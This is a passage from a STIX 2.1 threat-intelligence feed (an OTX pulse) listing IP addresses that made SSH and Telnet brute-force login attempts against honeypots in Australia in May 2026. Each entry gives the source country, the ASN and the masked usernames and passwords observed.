      "valid_from": "2026-05-28T18:15:11.000Z",
      "valid_until": "2026-06-29T18:15:09.000Z"
    },
    {
      "created": "2026-05-28T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IL. ASN(s): 12849. Organisation(s): Hot-Net internet services Ltd.. Usernames observed (masked): r**t, 3**********4, m***l, p********n, s***y. Passwords observed (masked): 1**4, 1****6, 1******e, 3***********4, 3**********4.",
      "id": "indicator--72016d1e-0d38-477c-b49b-832bd9c8b434",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.29.135.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T18:15:11.000Z",
      "valid_until": "2026-06-29T18:15:09.000Z"
    },
    {
      "created": "2026-05-28T18:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: HR. ASN(s): 5391. Organisation(s): Hrvatski Telekom d.d..",
      "id": "indicator--f2e5094f-5b56-474f-8263-d83af03e571b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '78.3.226.57']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T18:15:11.000Z",
      "valid_until": "2026-06-29T18:15:09.000Z"
    },
    {
      "created": "2026-05-28T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AT. ASN(s): 8447. Organisation(s): Telekom Austria. Usernames observed (masked): r**t. Passwords observed (masked): 3*******7.",
      "id": "indicator--a8211911-ac4e-4961-bf19-29ec93e63ad8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.144.209.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T18:15:11.000Z",
      "valid_until": "2026-06-29T18:15:09.000Z"
    },
    {
      "created": "2026-05-28T18:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 215439. Organisation(s): Play2go International Limited. Usernames observed (masked): r**t, 3**********4, m***l, p********n, r**a. Passwords observed (masked): 3***********4, 3**********4, C*******@, P***********0, a*******5.",
      "id": "indicator--9b08b27b-cc2b-4a20-b1ea-8e1ba2c1bd08",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T18:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '94.156.115.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T18:15:11.000Z",
      "valid_until": "2026-06-29T18:15:09.000Z"
    },
    {
      "created": "2026-05-28T19:15:27.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 7. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58461. Organisation(s): CT-HangZhou-IDC. Usernames observed (masked): m***i. Passwords observed (masked): m*******5.",
      "id": "indicator--120b429d-7f1d-4011-af0c-35fb3dafa0c6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T19:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '125.124.149.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T19:15:27.000Z",
      "valid_until": "2026-06-29T19:15:08.000Z"
    },
    {
      "created": "2026-05-28T19:15:27.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, P********A.",
      "id": "indicator--91ed8bae-9bef-497c-be59-efd467bf4245",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T19:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '159.75.149.244']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T19:15:27.000Z",
      "valid_until": "2026-06-29T19:15:08.000Z"
    },
    {
      "created": "2026-05-28T19:15:27.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: SY. ASN(s): 29256. Organisation(s): Syrian Telecommunication Private Closed Joint Stock Company.",
      "id": "indicator--d403ecb9-e5a6-4eda-812b-44aedebfc879",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T19:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '185.225.41.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T19:15:27.000Z",
      "valid_until": "2026-06-29T19:15:08.000Z"
    },
    {
      "created": "2026-05-28T19:15:27.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AE. ASN(s): 209274. Organisation(s): Kraken Network ISP LTD. Usernames observed (masked): r**t, a***n, o******i. Passwords observed (masked): *, a***n, o******i, p******d, r**t.",
      "id": "indicator--8456bff2-2bfb-44d0-a404-ef17234dc28e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T19:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '217.60.199.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T19:15:27.000Z",
      "valid_until": "2026-06-29T19:15:08.000Z"
    },
    {
      "created": "2026-05-28T19:15:27.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 207. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BE. ASN(s): 396982. Organisation(s): Google LLC. Usernames observed (masked): r**t, 3**********4, a***n, a***********r, ***. Passwords observed (masked): 1****6, 3***********4, 3**********4, ***, 1**********F.",
      "id": "indicator--536441e3-379b-4b68-b011-815bccdd4672",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T19:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '34.78.29.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T19:15:27.000Z",
      "valid_until": "2026-06-29T19:15:08.000Z"
    },
    {
      "created": "2026-05-28T19:15:27.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 89. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TW. ASN(s): 3462. Organisation(s): Data Communication Business Group. Usernames observed (masked): ***, 3**********4, v****n, **. Passwords observed (masked): ***, 3***********4, 3**********4, D******4, v****n.",
      "id": "indicator--34e180a5-81f2-424e-8dfd-27df5acae219",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T19:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '61.220.235.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T19:15:27.000Z",
      "valid_until": "2026-06-29T19:15:08.000Z"
    },
    {
      "created": "2026-05-28T19:15:27.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--edc11781-cae2-4d22-8b1e-617494d446a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T19:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '66.167.147.76']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T19:15:27.000Z",
      "valid_until": "2026-06-29T19:15:08.000Z"
    },
    {
      "created": "2026-05-28T19:15:27.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 13285. Organisation(s): TalkTalk. Usernames observed (masked): r**t, 3**********4, a***n, g***********r, p******s. Passwords observed (masked): 1*******e, 2*******8, 3***********4, 3**********4, f****************4.",
      "id": "indicator--ae34a422-777d-4af1-94a7-2ea7770b85a0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T19:15:27.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.27.157.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T19:15:27.000Z",
      "valid_until": "2026-06-29T19:15:08.000Z"
    },
    {
      "created": "2026-05-28T20:15:17.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UY. ASN(s): 6057. Organisation(s): Administracion Nacional de Telecomunicaciones.",
      "id": "indicator--f915a530-5daa-47d9-a8f8-a894fd23d236",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T20:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.50.251.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T20:15:17.000Z",
      "valid_until": "2026-06-29T20:15:08.000Z"
    },
    {
      "created": "2026-05-28T20:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--9c822a0a-3bc4-42ce-83fd-887b73999867",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T20:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '64.227.106.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T20:15:17.000Z",
      "valid_until": "2026-06-29T20:15:08.000Z"
    },
    {
      "created": "2026-05-28T20:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FI. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--d793f92d-fb9c-40c9-8587-893c7bb5169b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T20:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '65.21.197.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T20:15:17.000Z",
      "valid_until": "2026-06-29T20:15:08.000Z"
    },
    {
      "created": "2026-05-28T20:15:17.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--57338e1a-f6dc-402b-9644-d3d5eaff192e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T20:15:17.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '96.8.116.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T20:15:17.000Z",
      "valid_until": "2026-06-29T20:15:08.000Z"
    },
    {
      "created": "2026-05-28T21:16:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 137718. Organisation(s): Beijing Volcano Engine Technology Co., Ltd.. Usernames observed (masked): r**t, g*****n. Passwords observed (masked): Q**********$, a*********@, g*****n.",
      "id": "indicator--46693a4c-b835-4eb2-a217-636b1467f529",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T21:16:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '101.126.30.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T21:16:22.000Z",
      "valid_until": "2026-06-29T21:15:08.000Z"
    },
    {
      "created": "2026-05-28T21:16:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 125. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services. Usernames observed (masked): r**t, u***y, c***k, k**s, r***d. Passwords observed (masked): !**********e, 1********c, 1******d, 1******X, 3***********4.",
      "id": "indicator--36a79ac2-abc8-47ff-b792-68f9dd6a0086",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T21:16:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '122.177.246.112']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T21:16:22.000Z",
      "valid_until": "2026-06-29T21:15:08.000Z"
    },
    {
      "created": "2026-05-28T21:16:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: AT. ASN(s): 57169. Organisation(s): EDIS GmbH.",
      "id": "indicator--c1f0c89c-0d77-4412-a1a1-c55cbb60ae14",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T21:16:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '151.236.7.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T21:16:22.000Z",
      "valid_until": "2026-06-29T21:15:08.000Z"
    },
    {
      "created": "2026-05-28T21:16:22.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 271949. Organisation(s): AX INTERNET SA.",
      "id": "indicator--c46f3078-f118-4b4c-8b59-a20284b3208d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T21:16:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.122.90.124']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T21:16:22.000Z",
      "valid_until": "2026-06-29T21:15:08.000Z"
    },
    {
      "created": "2026-05-28T21:16:22.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--f938593e-9be1-45e8-9d34-eb9448f40dbb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T21:16:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T21:16:22.000Z",
      "valid_until": "2026-06-29T21:15:08.000Z"
    },
    {
      "created": "2026-05-28T21:16:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 134. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 131353. Organisation(s): NhanHoa Software company. Usernames observed (masked): r**t, u**r, 3**********4, ***, a***n. Passwords observed (masked): 1****6, 3***********4, 3**********4, A********6, C**********!.",
      "id": "indicator--667d50c7-c5b6-4556-a87d-55445c1bea38",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T21:16:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.117.179.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T21:16:22.000Z",
      "valid_until": "2026-06-29T21:15:08.000Z"
    },
    {
      "created": "2026-05-28T21:16:22.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 210006. Organisation(s): Shereverov Marat Ahmedovich.",
      "id": "indicator--e2739f87-189f-4ce4-bce8-fef5c440284c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T21:16:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.227.114.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T21:16:22.000Z",
      "valid_until": "2026-06-29T21:15:08.000Z"
    },
    {
      "created": "2026-05-28T21:16:22.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb.",
      "id": "indicator--b80520be-8a25-4546-afe5-52c125529a95",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T21:16:22.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.80.129.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T21:16:22.000Z",
      "valid_until": "2026-06-29T21:15:08.000Z"
    },
    {
      "created": "2026-05-28T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 140814. Organisation(s): Floor 5, 255 Tran Dang Ninh, Dich Vong, Cau Giay District, Ha Noi City. Usernames observed (masked): r**t, 3**********4, ***. Passwords observed (masked): 3***********4, 3**********4, A******4, A******6, H******6.",
      "id": "indicator--8bfd31b2-0033-41cc-bae9-c52968edf48f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.168.58.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T22:15:10.000Z",
      "valid_until": "2026-06-29T22:15:08.000Z"
    },
    {
      "created": "2026-05-28T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--93fcdf0c-9674-4a9d-95e4-fe7923674d5a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '107.172.204.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T22:15:10.000Z",
      "valid_until": "2026-06-29T22:15:08.000Z"
    },
    {
      "created": "2026-05-28T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 238. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 31898. Organisation(s): Oracle Corporation. Usernames observed (masked): r**t, a***n, 3**********4, j*****l, a****m. Passwords observed (masked): 1****6, 3***********4, 3**********4, 1******8, 1******r.",
      "id": "indicator--04359752-960e-4a9f-bfc2-09b733638772",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '130.162.177.104']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T22:15:10.000Z",
      "valid_until": "2026-06-29T22:15:08.000Z"
    },
    {
      "created": "2026-05-28T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 101. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135918. Organisation(s): VIET DIGITAL TECHNOLOGY LIABILITY COMPANY. Usernames observed (masked): r**t, f******r, 3**********4, h*****g. Passwords observed (masked): 1****3, 3***********4, 3**********4, A******4, A******6.",
      "id": "indicator--9aaaf94b-44aa-49a2-9c32-41ff035a6b3b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '157.66.81.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T22:15:10.000Z",
      "valid_until": "2026-06-29T22:15:08.000Z"
    },
    {
      "created": "2026-05-28T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 19. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, u**r. Passwords observed (masked): , i******9, r**t, u**r.",
      "id": "indicator--c8f830ff-a20c-4cb4-9f8b-f3bc014f63d5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '159.65.6.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T22:15:10.000Z",
      "valid_until": "2026-06-29T22:15:08.000Z"
    },
    {
      "created": "2026-05-28T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 237. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4, a***n, a**x, ***. Passwords observed (masked): 3***********4, 3**********4, *, ***, 1**4.",
      "id": "indicator--fbd4ba1b-56f1-421f-bafd-81793019cf53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '165.154.23.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T22:15:10.000Z",
      "valid_until": "2026-06-29T22:15:08.000Z"
    },
    {
      "created": "2026-05-28T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--1d8e0c31-707f-4df2-bdfa-7208a7efd5b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T22:15:10.000Z",
      "valid_until": "2026-06-29T22:15:08.000Z"
    },
    {
      "created": "2026-05-28T22:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 40676. Organisation(s): Psychz Networks.",
      "id": "indicator--e8373dc3-50cd-4048-a34a-db71842e3b8e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '210.16.100.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T22:15:10.000Z",
      "valid_until": "2026-06-29T22:15:08.000Z"
    },
    {
      "created": "2026-05-28T22:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 177. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 5650. Organisation(s): Frontier Communications of America, Inc.. Usernames observed (masked): r**t, 3**********4, f******r, h*****g. Passwords observed (masked): 3***********4, 3**********4, 1****3, A******6, D******5.",
      "id": "indicator--fba2f8ff-0558-4f63-901d-cd89793484d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T22:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '47.180.114.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T22:15:10.000Z",
      "valid_until": "2026-06-29T22:15:08.000Z"
    },
    {
      "created": "2026-05-28T23:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 74. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 131111. Organisation(s): PT Mora Telematika Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): 1***5, a***n, g***t, r**t.",
      "id": "indicator--ab07fd83-94e3-4cbf-8624-ffe0e8cd2ba1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-28T23:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.85.66.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T23:15:11.000Z",
